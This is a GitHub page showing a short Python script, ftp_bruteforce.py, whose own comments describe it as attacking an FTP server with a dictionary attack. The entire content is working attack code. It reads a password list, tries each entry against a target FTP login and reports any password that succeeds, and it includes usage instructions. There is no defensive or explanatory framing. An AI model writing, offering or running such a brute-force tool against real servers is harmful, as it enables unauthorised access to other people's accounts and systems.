-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathftp_bruteforce.py
25 lines (22 loc) · 948 Bytes
/
ftp_bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Attacks a FTP server with a dictionary attack
# Usage: ftp_bruteforce.py <target> <user> <dictionary>
import ftplib
import sys
def ftp_bruteforce(target, user, dictionary):
with open(dictionary, "r") as file: # Open the dictionary file
for password in file:
password = password.strip("\n") # Remove the newline character
try:
ftp = ftplib.FTP(target) # Connect to the FTP server
ftp.login(user, password) # Try to login with the credentials
print(f"Password found: {password}")
break
except ftplib.error_perm: # If the login fails, continue the loop
continue
else:
print("Password not found")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: ftp_bruteforce.py <target> <user> <dictionary>")
sys.exit(1)
ftp_bruteforce(sys.argv[1], sys.argv[2], sys.argv[3])